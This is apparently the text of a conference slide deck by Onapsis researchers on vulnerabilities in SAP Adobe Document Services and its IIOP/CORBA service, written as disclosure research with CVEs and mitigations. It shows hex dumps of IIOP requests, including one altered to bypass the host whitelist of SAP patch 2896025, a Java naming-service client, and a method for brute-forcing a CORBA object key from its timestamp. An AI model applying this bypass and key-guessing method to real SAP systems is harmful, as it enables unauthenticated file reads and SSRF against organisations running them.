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First meet during a SAP pentest
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[1] SAP SE. SAP Corporate Fact Sheet (May 9, 2025). 
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First meet during a SAP pentest

Whatever is a “SAP ADS”

→ It is a centralized system

→ Work on PDF

→ SAP and Adobe are involved





SAPscript

● Text processing, layouting, 
and form maintenance

● Control commands and 
symbols 

● Successor of SAPscript 
available since R/3 4.6C

● Custom form logic and 
interactive web forms

Smart Forms Adobe Document 
Services (ADS)

● Developed jointly by Adobe 
Systems Inc. and SAP SE

● Most “recent” solution 
with a comprehensive 
feature set

[2] SAP SE. SAP Help Portal - BC Style and Form Maintenance.
[3] SAP SE. SAP Help Portal - Support Content: Output Management.

[4] SAP SE. SAP Help Portal - Smart Forms.
[5] SAP SE. SAP Help Portal - Adobe Document Services for Form Processing.

 



Adobe Document 
Services (ADS)

● Developed jointly by Adobe 
Systems Inc. and SAP SE

● Most “recent” solution 
with a comprehensive 
feature set

aka “SAP Interactive Forms by Adobe (IFbA)”

On-premise extension for creating and 
processing forms and business documents

Java Runtime (SAP NetWeaver AS Java) 

[5] SAP SE. SAP Help Portal - Adobe Document Services for Form Processing.



Adobe Document 
Services (ADS)

● Developed jointly by Adobe 
Systems Inc. and SAP SE

● Most “recent” solution 
with a comprehensive 
feature set

aka “SAP Interactive Forms by Adobe (IFbA)”

On-premise extension for creating and 
processing forms and business documents

Java Runtime (SAP NetWeaver AS Java) 

Supports

○ Java & ABAP integration
○ Digital signatures
○ Custom fonts
○ Adobe LiveCycle Designer for SAP 

Solutions
○ … [5] SAP SE. SAP Help Portal - Adobe Document Services for Form Processing.





SAP Security Note Year CVSS Title

2342974 2017 6.5 Arbitrary Valid Certificate Vulnerability in Adobe Document Services

2392719 2017 5.3 Potential Denial of Service Vulnerability in Adobe Document Services

2236258 2017 5.5 Missing XML Validation Vulnerability in Adobe Document Services

2245398 2016 7.3 Java Deserialization Vulnerability in Adobe Interactive Forms

2218411 2016 - Potential Remote Termination of Running Processes in Adobe 
Document Services

1450228 2010 - Directory Traversal in CL_FP_ADS_HTTP_EXTENSION

[6] SAP SE. SAP Security Notes. 





Security Analysis: Our Journey of Discovery

First Finding:  XFA Breakout





Fake data

https://saphost/webdynpro/resources/sap.com/bi~alv~testapps/ALVTest#







● An XML-based specification

● Designed for creating dynamic and 
interactive forms

Adobe XFA (XML Forms Architecture)

[7] Adobe Systems Inc. XML Forms Architecture (XFA) Specification: Version 3.3. 



● An XML-based specification

● Designed for creating dynamic and 
interactive forms

● Accept <script> with content type
○ application/x-javascript
○ application/x-formcalc

Adobe XFA (XML Forms Architecture)

[7] Adobe Systems Inc. XML Forms Architecture (XFA) Specification: Version 3.3. 









[7] Adobe Systems Inc. XML Forms Architecture 
(XFA) Specification: Version 3.3. 



[7] Adobe Systems Inc. XML Forms Architecture 
(XFA) Specification: Version 3.3. 

// postUrl = getUrl = putUrl --> do nothing

 public CalcSymbol postUrl(String sUrl, String sSoapHeader [...]) {

           MsgFormatPos sFmt = new MsgFormatPos(ResId.PROTOCOL_ERR_SYS);

           sFmt.format(sUrl);

           CalcSymbol oErr = new CalcSymbol(sFmt.toString(), true, 0, 0);

           throw new CalcException(oErr);

       }



Security Analysis: Our Journey of Discovery

First Finding:  XFA Breakout

Challenge 1: How does it work internally?



?



?

















Common Object Request Broker Architecture (CORBA)

[8] Object Management Group (OMG). CORBA Specification, Version 
3.4 - Part 1: CORBA Interfaces. 



Common Object Request Broker Architecture (CORBA)

● IIOP provider service in Internet 
Communication Manager (ICM) 

[9] SAP SE. SAP Help Portal - SAP NetWeaver 7.5 - Java Instance. 



Common Object Request Broker Architecture (CORBA)

● IIOP provider service in Internet 
Communication Manager (ICM) 

● Java-side implementation 
seems located in  
com.sap.engine.services.iiop   
com.sap.engine.services.jndi  
com.sap.engine.services.cross    
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Common Object Request Broker Architecture (CORBA)

● IIOP provider service in Internet 
Communication Manager (ICM) 

● Java-side implementation 
seems located in  
com.sap.engine.services.iiop   
com.sap.engine.services.jndi  
com.sap.engine.services.cross   

● ADS-specific binary XMLForm 
speaking IIOP (seems to be 
based on omniORB)

[9] SAP SE. SAP Help Portal - SAP NetWeaver 7.5 - Java Instance. 



Interoperable Object Reference (IOR)

[...]

execve("/usr/sap/SID/J00/j2ee/os_libs/adssap/XMLFormService/bin/XMLForm", 

["/usr/sap/SID/J00/j2ee/os_libs/adssap/XMLFormService/bin/XMLForm",

"/usr/sap/SID/J00/j2ee/os_libs/adssap/XMLFormService", "-IOR", 

"IOR:000000000000002249444C3A636F6D2F61646F62652F736572766963652F4D616E616765723A312

E30000000000000010000000000000054000102000000000F50524453415041445353525630310000C35

700000000000CA24626006B2B66855A8D010000000001000000010000001C00000000050100010000000

100010001000101090000000100010109", "-AppServer", "webas"], 0xeaf030 /* 36 vars */) 

= 0 <0.000360>

[...]



IOR and IIOP IOR Profiles

Type_id Number of profiles IIOP_Profile

TAG_INTERNET_IOP ProfileBody

IIOP
Version Host Port Object

Key Components

[10] OMG. CORBA Specification, Version 3.3 - Part 2: CORBA Interoperability. 



IOR and IIOP IOR Profiles

Sample IOR passed to XMLForm

00000000  00 00 00 00 00 00 00 22 49 44 4c 3a 63 6f 6d 2f  |......."IDL:com/|

00000010  61 64 6f 62 65 2f 73 65 72 76 69 63 65 2f 4d 61  |adobe/service/Ma|

00000020  6e 61 67 65 72 3a 31 2e 30 00 00 00 00 00 00 01  | nager:1.0.......|

00000030  00 00 00 00 00 00 00 54 00 01 02 00 00 00 00 0F  |.......T........|

00000040  50 52 44 53 41 50 41 44 53 53 52 56 30 31 00 00  |PRDSAPADSSRV01..|

00000050  c3 57 00 00 00 00 00 0c a2 46 26 00 6b 2b 66 85  |ÃW......¢F&.k+f.|

00000060  5a 8d 01 00 00 00 00 01 00 00 00 01 00 00 00 1c  |Z...............|

00000070  00 00 00 00 05 01 00 01 00 00 00 01 00 01 00 01  |................|

00000080  00 01 01 09 00 00 00 01 00 01 01 09              |............|

Type_id

[10] OMG. CORBA Specification, Version 3.3 - Part 2: CORBA Interoperability. 



IOR and IIOP IOR Profiles

Sample IOR passed to XMLForm

00000000  00 00 00 00 00 00 00 22 49 44 4c 3a 63 6f 6d 2f  |......."IDL:com/|

00000010  61 64 6f 62 65 2f 73 65 72 76 69 63 65 2f 4d 61  |adobe/service/Ma|

00000020  6e 61 67 65 72 3a 31 2e 30 00 00 00 00 00 00 01  |nager:1.0.......|

00000030  00 00 00 00 00 00 00 54 00 01 02 00 00 00 00 0F  |.......T........|

00000040  50 52 44 53 41 50 41 44 53 53 52 56 30 31 00 00  |PRDSAPADSSRV01..|

00000050  c3 57 00 00 00 00 00 0c a2 46 26 00 6b 2b 66 85  | ÃW......¢F&.k+f.|

00000060  5a 8d 01 00 00 00 00 01 00 00 00 01 00 00 00 1c  |Z...............|

00000070  00 00 00 00 05 01 00 01 00 00 00 01 00 01 00 01  |................|

00000080  00 01 01 09 00 00 00 01 00 01 01 09              |............|

Host and Port

[10] OMG. CORBA Specification, Version 3.3 - Part 2: CORBA Interoperability. 



IOR and IIOP IOR Profiles

Sample IOR passed to XMLForm

00000000  00 00 00 00 00 00 00 22 49 44 4c 3a 63 6f 6d 2f  |......."IDL:com/|

00000010  61 64 6f 62 65 2f 73 65 72 76 69 63 65 2f 4d 61  |adobe/service/Ma|

00000020  6e 61 67 65 72 3a 31 2e 30 00 00 00 00 00 00 01  |nager:1.0.......|

00000030  00 00 00 00 00 00 00 54 00 01 02 00 00 00 00 0F  |.......T........|

00000040  50 52 44 53 41 50 41 44 53 53 52 56 30 31 00 00  |PRDSAPADSSRV01..|

00000050  c3 57 00 00 00 00 00 0c a2 46 26 00 6b 2b 66 85  |ÃW......¢F&.k+f.|

00000060  5a 8d 01 00 00 00 00 01 00 00 00 01 00 00 00 1c  | Z...............|

00000070  00 00 00 00 05 01 00 01 00 00 00 01 00 01 00 01  |................|

00000080  00 01 01 09 00 00 00 01 00 01 01 09              |............|

Object Key

[10] OMG. CORBA Specification, Version 3.3 - Part 2: CORBA Interoperability. 



“An agent that generates an object key value 
must be able to map the value unambiguously 

onto the corresponding object [...]” 

[10] OMG: CORBA Specification, Version 3.3
Part 2: CORBA Interoperability

Object Key and Implicit Access Control



Security Analysis: Our Journey of Discovery

First Finding:  XFA Breakout

Challenge 1: How does it work internally?

Challenge 2: Object Key Generation



// Internal object key generation

 byte[] getObjectKey(int serverId) {

   byte[] objkey = new byte[12];

   // Add server ID

   Convert.writeIntToByteArr(objkey, 0, serverId);

   // Take timestamp via System.currentTimeMillis()

   long time = System.currentTimeMillis();

   // Add incremental connection counter aka object ID

   synchronized (this) {

     objkey[4] = (byte)corr++;

   }

   // Add timestamp

   for (int i = 0; i < 7; i++)

     objkey[i + 5] = (byte)(int)(time >> i * 8 & 0xFFL);

   return objkey;

 } 

Class com.sap.engine.services.iiop.internal.ClientORB 

Server ID



// Internal object key generation

 byte[] getObjectKey(int serverId) {

   byte[] objkey = new byte[12];

   // Add server ID

   Convert.writeIntToByteArr(objkey, 0, serverId);

   // Take timestamp via System.currentTimeMillis()

   long time = System.currentTimeMillis();

   // Add incremental connection counter aka object ID

   synchronized (this) {

     objkey[4] = (byte)corr++;

   }

   // Add timestamp

   for (int i = 0; i < 7; i++)

     objkey[i + 5] = (byte)(int)(time >> i * 8 & 0xFFL);

   return objkey;

 } 

Class com.sap.engine.services.iiop.internal.ClientORB 

Timestamp



// Internal object key generation

 byte[] getObjectKey(int serverId) {

   byte[] objkey = new byte[12];

   // Add server ID

   Convert.writeIntToByteArr(objkey, 0, serverId);

   // Take timestamp via System.currentTimeMillis()

   long time = System.currentTimeMillis();

   // Add incremental connection counter aka object ID

   synchronized (this) {

     objkey[4] = (byte)corr++;

   }

   // Add timestamp

   for (int i = 0; i < 7; i++)

     objkey[i + 5] = (byte)(int)(time >> i * 8 & 0xFFL);

   return objkey;

 } 

Class com.sap.engine.services.iiop.internal.ClientORB 

Object Counter



Class com.sap.engine.services.iiop.internal.ClientORB 

Server ID (4B) Object 
Counter (1B) Timestamp (7B)

STATIC DYNAMIC



Sample IIOP Request for Manager CORBA Object with Target Object Key in Request Header

00000000  47 49 4f 50 01 02 01 00 78 00 00 00 10 00 00 00  |GIOP....x.......|  

00000010  03 00 00 00 00 00 00 00 0c 00 00 00 a2 46 26 00  |............¢F&.| 

00000020  2b 82 a8 4a 55 8d 01 00 18 00 00 00 67 65 74 43  |+.¨JU.......getC| 

00000030  6f 6e 66 69 67 50 72 6f 70 65 72 74 79 53 74 72  |onfigPropertyStr| 

00000040  69 6e 67 00 00 00 00 00 38 00 00 00 ff fe 43 00  |ing.....8...ÿþC.| 

00000050  54 00 5f 00 41 00 64 00 64 00 69 00 74 00 69 00  |T._.A.d.d.i.t.i.|

00000060  6f 00 6e 00 61 00 6c 00 46 00 6f 00 6e 00 74 00  |o.n.a.l.F.o.n.t.|

00000070  73 00 43 00 61 00 63 00 68 00 65 00 46 00 69 00  |s.C.a.c.h.e.F.i.|

[...]



Security Analysis: Our Journey of Discovery

First Finding:  XFA Breakout

Challenge 1: How does it work internally?

Challenge 2: Object Key Generation

Challenge 3: IIOP Remote Communication



import org.omg.CosNaming.*;

import org.omg.CORBA.*;

import java.util.Properties;

public class iiop_chat{

 public static void main(String args[])

   {

     try{

       Properties props = new Properties();

       props.put("org.omg.CORBA.ORBInitialPort", "50007");

       props.put("org.omg.CORBA.ORBInitialHost", "PRDSAPADSSRV01");

       ORB orb = ORB.init(args, props);

       // get the root naming context

       NamingContextExt nc = 

    NamingContextExtHelper.narrow(orb.resolve_initial_references("NameService"));

  System.out.println(nc);

[...]

 

CORBA COS 
Naming Service

[11] Oracle. Java Documentation - Naming Service. 

iiop_chat



$ java iiop_chat

ERROR : org.omg.CORBA.COMM_FAILURE:   vmcid: SUN  minor code: 208 completed: Maybe

org.omg.CORBA.COMM_FAILURE:   vmcid: SUN  minor code: 208 completed: Maybe

at 

com.sun.corba.se.impl.logging.ORBUtilSystemException.connectionAbort(ORBUtilSystemExcepti

on.java:2400)

at 

com.sun.corba.se.impl.logging.ORBUtilSystemException.connectionAbort(ORBUtilSystemExcepti

on.java:2418)

[...]

Caused by: java.io.IOException: End-of-stream

at 

com.sun.corba.se.impl.transport.SocketOrChannelConnectionImpl.readFully(SocketOrChannelCo

nnectionImpl.java:623)

[...]

iiop_chat





“Whitelist mechanism has been implemented via 
the newly introduced multi value properties 

allowed.client.hosts and allowed.orb.hosts of the 
SAP NetWeaver AS Java IIOP service.”

[13] SAP SE, SAP Security Note 2896025 
[CVE-2020-6282] - Solution

[12] NIST. National Vulnerability Database - CVE-2020-6282. 



 protected void postReadMessageHeader() {

 [...]

   this.requestContexts = preReadServiceContexts();

   processServiceContexts(this.requestContexts);

 [...]

  }
 

Class com.sap.engine.services.iiop.internal.giop.IncomingRequest_1_2/IncomingMessage 

 protected ServiceContext[] preReadServiceContexts() {

   ServiceContext[] requestContexts = new ServiceContext[read_long()];

   for (int i = 0; i < requestContexts.length; i++) {

     try {

       int id = read_long();

       byte[] contextData = new byte[unaligned_read_long()];

       read_octet_array(contextData, 0, contextData.length);

       requestContexts[i] = new ServiceContext(id, contextData);

     } catch (Exception ex) {

[...]

 





Bypassing New Security Controls of Patch 2896025

IIOP Request for NameService with SendingContextRuntime Service Context

00000000  47 49 4f 50 01 00 00 00 00 00 01 00 00 00 00 03  |GIOP............|

00000010  00 00 00 11 00 00 00 02 00 02 00 00 4e 45 4f 00  |............NEO.|

00000020  00 00 00 02 00 14 00 00 00 00 00 06 00 00 00 ae  |...............®|

00000030  00 00 00 00 00 00 00 28 49 44 4c 3a 6f 6d 67 2e  |.......(IDL:omg.|

00000040  6f 72 67 2f 53 65 6e 64 69 6e 67 43 6f 6e 74 65  |org/SendingConte|

00000050  78 74 2f 43 6f 64 65 42 61 73 65 3a 31 2e 30 00  |xt/CodeBase:1.0.|

[...]

000000d0  00 01 01 00 00 00 00 26 00 00 00 02 00 02 00 00  |.......&........|

000000e0  00 00 00 05 01 00 00 00 00 00 00 04 49 4e 49 54  |............INIT|

000000f0  00 00 00 04 67 65 74 00 00 00 00 00 00 00 00 0c  |....get.........|

00000100  4e 61 6d 65 53 65 72 76 69 63 65 00              |NameService.|

iiop_chat



Bypassing New Security Controls of Patch 2896025

IIOP Request for NameService with SendingContextRuntime Service Context

00000000  47 49 4f 50 01 00 00 00 00 00 01 00 00 00 00 03  |GIOP............|

00000010  00 00 00 11 00 00 00 02 00 02 00 00 4e 45 4f 00  |............NEO.|

00000020  00 00 00 02 00 14 00 00 00 00 00 06 00 00 00 ae  |...............®|

00000030  00 00 00 00 00 00 00 28 49 44 4c 3a 6f 6d 67 2e  |.......(IDL:omg.|

00000040  6f 72 67 2f 53 65 6e 64 69 6e 67 43 6f 6e 74 65  |org/SendingConte|

00000050  78 74 2f 43 6f 64 65 42 61 73 65 3a 31 2e 30 00  |xt/CodeBase:1.0.|

[...]

000000d0  00 01 01 00 00 00 00 26 00 00 00 02 00 02 00 00  |.......&........|

000000e0  00 00 00 05 01 00 00 00 00 00 00 04 49 4e 49 54  |............INIT|

000000f0  00 00 00 04 67 65 74 00 00 00 00 00 00 00 00 0c  |....get.........|

00000100  4e 61 6d 65 53 65 72 76 69 63 65 00              |NameService.|

ServiceId



Bypassing New Security Controls of Patch 2896025

IIOP Request for NameService with SendingContextRuntime Service Context

00000000  47 49 4f 50 01 00 00 00 00 00 01 00 00 00 00 03  |GIOP............|

00000010  00 00 00 11 00 00 00 02 00 02 00 00 4e 45 4f 00  |............NEO.|

00000020  00 00 00 02 00 14 00 00 00 00 00 06 00 00 00 ae  |...............®|

00000030  00 00 00 00 00 00 00 28 49 44 4c 3a 6f 6d 67 2e  |.......(IDL:omg.|

00000040  6f 72 67 2f 53 65 6e 64 69 6e 67 43 6f 6e 74 65  |org/SendingConte|

00000050  78 74 2f 43 6f 64 65 42 61 73 65 3a 31 2e 30 00  |xt/CodeBase:1.0.|

[...]

000000d0  00 01 01 00 00 00 00 26 00 00 00 02 00 02 00 00  |.......&........|

000000e0  00 00 00 05 01 00 00 00 00 00 00 04 49 4e 49 54  |............INIT|

000000f0  00 00 00 04 67 65 74 00 00 00 00 00 00 00 00 0c  |....get.........|

00000100  4e 61 6d 65 53 65 72 76 69 63 65 00              |NameService.|

ServiceId
module IOP { 

const ServiceId TransactionService = 0;
const ServiceId CodeSets = 1;
const ServiceId ChainBypassCheck = 2;
const ServiceId ChainBypassInfo = 3;
const ServiceId LogicalThreadId = 4;
const ServiceId BI_DIR_IIOP = 5;
const ServiceId SendingContextRunTime = 6;
const ServiceId INVOCATION_POLICIES = 7;
const ServiceId FORWARDED_IDENTITY = 8;
[...]
const ServiceId FIREWALL_PATH = 20;
const ServiceId FIREWALL_PATH_RESP = 21;

};

[10] OMG. CORBA Specification, Version 3.3
Part 2: CORBA Interoperability



Bypassing New Security Controls of Patch 2896025

IIOP Request for NameService with SendingContextRuntime Service Context

00000000  47 49 4f 50 01 00 00 00 00 00 01 00 00 00 00 03  |GIOP............|

00000010  00 00 00 11 00 00 00 02 00 02 00 00 4e 45 4f 00  |............NEO.|

00000020  00 00 00 02 00 14 00 00 00 00 00 FF 00 00 00 ae  |...............®|

00000030  00 00 00 00 00 00 00 28 49 44 4c 3a 6f 6d 67 2e  |.......(IDL:omg.|

00000040  6f 72 67 2f 53 65 6e 64 69 6e 67 43 6f 6e 74 65  |org/SendingConte|

00000050  78 74 2f 43 6f 64 65 42 61 73 65 3a 31 2e 30 00  |xt/CodeBase:1.0.|

[...]

000000d0  00 01 01 00 00 00 00 26 00 00 00 02 00 02 00 00  |.......&........|

000000e0  00 00 00 05 01 00 00 00 00 00 00 04 49 4e 49 54  |............INIT|

000000f0  00 00 00 04 67 65 74 00 00 00 00 00 00 00 00 0c  |....get.........|

00000100  4e 61 6d 65 53 65 72 76 69 63 65 00              |NameService.|

ServiceId



$ java iiop_chat

IOR:000000000000002b49444c3a6f6d672e6f72672f436f734e616d696e672f4e616d696e67436

f6e746578744578743a312e300000000000010000000000000054000102000000000f5052445341

5041445353525630310000C35700000000000ca2462600f5002f46ed96010000000001[...]

00000000  00 00 00 00 00 00 00 2b 49 44 4c 3a 6f 6d 67 2e  |.......+IDL:omg.|

00000010  6f 72 67 2f 43 6f 73 4e 61 6d 69 6e 67 2f 4e 61  |org/CosNaming/Na|

00000020  6d 69 6e 67 43 6f 6e 74 65 78 74 45 78 74 3a 31  |mingContextExt:1|

00000030  2e 30 00 00 00 00 00 01 00 00 00 00 00 00 00 54  |.0.............T|

00000040  00 01 02 00 00 00 00 0f 50 52 44 53 41 50 41 44  |........PRDSAPAD|

00000050  53 53 52 56 30 31 00 00 c3 57 00 00 00 00 00 0c  |SSRV01..ÃW......|

00000060  a2 46 26 00 f5 00 2f 46 ed 96 01 00 00 00 00 01  |¢F&.õ./Fí.......|

[...]

iiop_chat





Security Analysis: Our Journey of Discovery

First Finding:  XFA Breakout

Challenge 1: How does it work internally?

Challenge 2: Object Key Generation

Challenge 3: IIOP Remote Communication

Challenge 4: Online Brute-Force of Manager Object Key



Server ID (4B) Object 
Counter (1B) Timestamp (7B)

Object Key of com.adobe.service.Manager from getObjectKey()



Server ID (4B) Object 
Counter (1B) Timestamp (7B)

Object Key of com.adobe.service.Manager from getObjectKey()



$ java iiop_chat

IOR:000000000000002b49444c3a6f6d672e6f72672f436f734e616d696e672f4e616d696e67436

f6e746578744578743a312e300000000000010000000000000054000102000000000f5052445341

5041445353525630310000C35700000000000ca2462600f5002f46ed96010000000001[...]

00000000  00 00 00 00 00 00 00 2b 49 44 4c 3a 6f 6d 67 2e  |.......+IDL:omg.|

00000010  6f 72 67 2f 43 6f 73 4e 61 6d 69 6e 67 2f 4e 61  |org/CosNaming/Na|

00000020  6d 69 6e 67 43 6f 6e 74 65 78 74 45 78 74 3a 31  |mingContextExt:1|

00000030  2e 30 00 00 00 00 00 01 00 00 00 00 00 00 00 54  |.0.............T|

00000040  00 01 02 00 00 00 00 0f 50 52 44 53 41 50 41 44  |........PRDSAPAD|

00000050  53 53 52 56 30 31 00 00 c3 57 00 00 00 00 00 0c  |SSRV01..ÃW......|

00000060  a2 46 26 00 f5 00 2f 46 ed 96 01 00 00 00 00 01  |¢F&.õ./Fí.......|

[...]

iiop_chat

Server ID (4B)



Server ID

0xa2462600????????????????



Server ID (4B) Object 
Counter (1B) Timestamp (7B)

Object Key of com.adobe.service.Manager from getObjectKey()



import org.omg.CosNaming.*;

import org.omg.CORBA.*;

import java.util.Properties;

public class iiop_chat{

 public static void main(String args[])

 [...]

  NamingContextExt nc = 

    NamingContextExtHelper.narrow(orb.resolve_initial_references("NameService"));

       org.omg.CORBA.Object objctx = nc.resolve_str("com.adobe/AdobeDocumentServices");

       System.out.println(objctx);

[...]

 

[11] Oracle. Java Documentation - Naming Service. 

iiop_chat



import org.omg.CosNaming.*;

import org.omg.CORBA.*;

import java.util.Properties;

public class iiop_chat{

 public static void main(String args[])

 [...]

  NamingContextExt nc = 

    NamingContextExtHelper.narrow(orb.resolve_initial_references("NameService"));

       org.omg.CORBA.Object objctx = nc.resolve_str("com.adobe/AdobeDocumentServices");

       System.out.println(objctx);

[...]

 

[11] Oracle. Java Documentation - Naming Service. 

iiop_chat







$ java iiop_chat

IOR:000000000000002b49444c3a6f6d672e6f72672f436f734e616d696e672f4e616d696e67436

f6e746578744578743a312e300000000000010000000000000054000102000000000f5052445341

5041445353525630310000C35700000000000ca2462600573e4de3ee96010000000001[...]

00000000  00 00 00 00 00 00 00 2b 49 44 4c 3a 6f 6d 67 2e  |.......+IDL:omg.|

00000010  6f 72 67 2f 43 6f 73 4e 61 6d 69 6e 67 2f 4e 61  |org/CosNaming/Na|

00000020  6d 69 6e 67 43 6f 6e 74 65 78 74 45 78 74 3a 31  |mingContextExt:1|

00000030  2e 30 00 00 00 00 00 01 00 00 00 00 00 00 00 54  |.0.............T|

00000040  00 01 02 00 00 00 00 0f 50 52 44 53 41 50 41 44  |........PRDSAPAD|

00000050  53 53 52 56 30 31 00 00 c3 57 00 00 00 00 00 0c  |SSRV01..ÃW......|

00000060  a2 46 26 00 57 3e 4d e3 ee 96 01 00 00 00 00 01  |¢F&.ø>Mãî.......|

[...]

iiop_chat



$ java iiop_chat

IOR:000000000000002b49444c3a6f6d672e6f72672f436f734e616d696e672f4e616d696e67436

f6e746578744578743a312e300000000000010000000000000054000102000000000f5052445341

5041445353525630310000C35700000000000ca2462600573e4de3ee96010000000001[...]

00000000  00 00 00 00 00 00 00 2b 49 44 4c 3a 6f 6d 67 2e  |.......+IDL:omg.|

00000010  6f 72 67 2f 43 6f 73 4e 61 6d 69 6e 67 2f 4e 61  |org/CosNaming/Na|

00000020  6d 69 6e 67 43 6f 6e 74 65 78 74 45 78 74 3a 31  |mingContextExt:1|

00000030  2e 30 00 00 00 00 00 01 00 00 00 00 00 00 00 54  |.0.............T|

00000040  00 01 02 00 00 00 00 0f 50 52 44 53 41 50 41 44  |........PRDSAPAD|

00000050  53 53 52 56 30 31 00 00 c3 57 00 00 00 00 00 0c  |SSRV01..ÃW......|

00000060  a2 46 26 00 57 3e 4d e3 ee 96 01 00 00 00 00 01  |¢F&.ø>Mãî.......|

[...]

iiop_chat

Object 
Counter (1B)



Current Object Counter = 
0x57

0xa2462600????????????????



0xa2462600????????????????

Current Object Counter = 
0x57



0xa2462600????????????????

Current Object Counter = 
0x57



0xa2462600????????????????

Current Object Counter = 
0x57

New XMLForm
=

New Manager Object Key [!]



Manager Object Counter = Current Object 
Counter [0x57] + 3

0xa24626005a??????????????



Server ID (4B) Object 
Counter (1B) Timestamp (7B)

Object Key of com.adobe.service.Manager from getObjectKey()



0xa24626005a??????????????

Timestamp slot Possibility Rate * Approx Time

Week 604,800,000 64/s 100 days

Day 86,400,000 64/s 15 days

1 hour 3,600,000 64/s ~ 15 hours

* In our lab, no latency, 20 threads



0xa24626005a??????????????



Current Time: 1711536539100

0xa24626005a??????????????



Current Time: 1711536539100

0xa24626005a??????????????



Current Time: 1711536539100

PDF Time:      1711536543687

0xa24626005a??????????????

0xa24626005adc05877f8e0100
0xa24626005add05877f8e0100
0xa24626005ade05877f8e0100
0xa24626005adf05877f8e0100
0xa24626005ae005877f8e0100
0xa24626005ae105877f8e0100
0xa24626005ae205877f8e0100

. . .



Current Time: 1711536539100

PDF Time:      1711536543687

0xa24626005adc05877f8e0100
0xa24626005add05877f8e0100
0xa24626005ade05877f8e0100
0xa24626005adf05877f8e0100
0xa24626005ae005877f8e0100
0xa24626005ae105877f8e0100
0xa24626005ae205877f8e0100

. . .

0xa24626005a050d877f8e0100



0xa24626005a050d877f8e0100

Timestamp slot Possibility Rate * Approx Time

Week 604,800,000 64/s 100 days

Day 86,400,000 64/s 15 days

1 hour 3,600,000 64/s ~ 15 hours

4.5 sec 4,500 64/s ~ 1 min

* In our lab, no latency, 20 threads



https://docs.google.com/file/d/1ORB1Y1eMW6OrYn2c-iZfnr6BAOB6QDw4/preview




What can we do with the CORBA Object Key for
com.adobe.service.Manager ?

Remotely & Unauthenticated

● Reading arbitrary files via com.adobe.service.DataManager

● Triggering an SSRF via com.adobe.service.DataManager

● IOR Injection via com.adobe.service.Manager

● Leaking information and Java properties



What can we do with the CORBA Object Key for
com.adobe.service.Manager ?

Remotely & Unauthenticated

● Reading arbitrary files via com.adobe.service.DataManager

● Triggering an SSRF via com.adobe.service.DataManager

● IOR Injection via com.adobe.service.Manager

● Leaking information and Java properties
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SAP Security Note CVSS CVSS Title

3536965 CVE-2024-47578 9.1  SAP ADS - Overwrite arbitrary file by PDF leading to RCE

3485284 CVE-2024-42374 8.2  XML injection in SAP BEx Web Java Runtime Export Web Service

3536965 CVE-2024-47580 6.8  SAP ADS - Download arbitrary file from PDF attachment

3536965 CVE-2024-47579 6.8  SAP ADS - Download arbitrary file from customer fonts

[6] SAP SE. SAP Security Notes. 





SAP Security Note CVSS CVSS Title

3536965 CVE-2024-47578 9.1  SAP ADS - Overwrite arbitrary file by PDF leading to RCE

3485284 CVE-2024-42374 8.2  XML injection in SAP BEx Web Java Runtime Export Web Service

3536965 CVE-2024-47580 6.8  SAP ADS - Download arbitrary file from PDF attachment

3536965 CVE-2024-47579 6.8  SAP ADS - Download arbitrary file from customer fonts

2807586 - -  IFbA: ADS IIOPSSL configuration for NW7.31 and higher

[6] SAP SE. SAP Security Notes. 
[14] SAP SE. SAP Note 2807586. 







SAP Security Note CVSS CVSS Title

3536965 CVE-2024-47578 9.1  SAP ADS - Overwrite arbitrary file by PDF leading to RCE

3485284 CVE-2024-42374 8.2  XML injection in SAP BEx Web Java Runtime Export Web Service

3536965 CVE-2024-47580 6.8  SAP ADS - Download arbitrary file from PDF attachment

3536965 CVE-2024-47579 6.8  SAP ADS - Download arbitrary file from customer fonts

2807586 - -  IFbA: ADS IIOPSSL configuration for NW7.31 and higher

- - -  SAP Help Portal: SAP Interactive Forms by Adobe Security Guide

[6] SAP SE. SAP Security Notes. 
[14] SAP SE. SAP Note 2807586. 

[15] SAP SE. SAP Help Portal - SAP Interactive Forms by Adobe Security Guide. 





Thinking outside the box

Security risks and insights into SAP ADS and SAP IIOP/CORBA

Mitigations involving enabling non-default configurations

 

Takeaways, Future Work & Call For Action 



IIOP interface research

Cloud-native ADS (BTP) - SAP Forms Service by Adobe

HANA XSA based ADS

 

Takeaways, Future Work & Call For Action 

[16] SAP SE. SAP Help Portal - SAP Forms Service by Adobe.
[17] SAP SE. ADS on SAP HANA Extended Application Services, Advanced Model (XSA). 



Patch patch patch

Enable IIOPSEC/IIOPSSL (non-default)

● Client-side certificate authentication

● Disable plain IIOP service port

 

Takeaways, Future Work & Call For Action 
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Thank You!

Yvan Genuer & Fabian Hagg
info@onapsis.com



THIS DOCUMENT CONTAINS CONFIDENTIAL INFORMATION & IS 
SUBJECT TO THE CONFIDENTIALITY AGREEMENT BETWEEN 
THE PARTIES
All data submitted in this document is solely for the use of the recipient and cannot be disclosed to any third party or used by the recipient for any other purpose than cooperation 

with Onapsis. This data shall not be duplicated, used or disclosed in whole or in part for any purpose. If a contract is awarded to Onapsis as a result of, or in connection with the 

submission of this data, the customer or prospective customer shall have the right to duplicate, use or disclose this data to the extent provided in the contract. This restriction does 

not limit the customer’s or prospective customer’s right to use the information contained in the data if it is obtained from another source without restriction. The data contained in 

this presentation does not constitute legal advice and is for informational purposes only. An attorney-client relationship is not presumed or intended by receipt or review of this 

presentation. Onapsis does not make any representations or warranties, express or implied, with respect to the accuracy or completeness of the data included in this presentation. 

Onapsis will have no liability with respect to the use or reliance upon this data by recipient. The following information is being shared in order to outline some of Onapsis’ current 

product plans, but it is important to understand that it is being shared for informational purposes only, and not as a binding commitment. Please do not rely on this information in 

making purchasing decisions because Onapsis makes no representations about future functionality, and ultimately, the development, release, and timing of any products, features 

or functionality remains at the sole discretion of Onapsis and is subject to change.


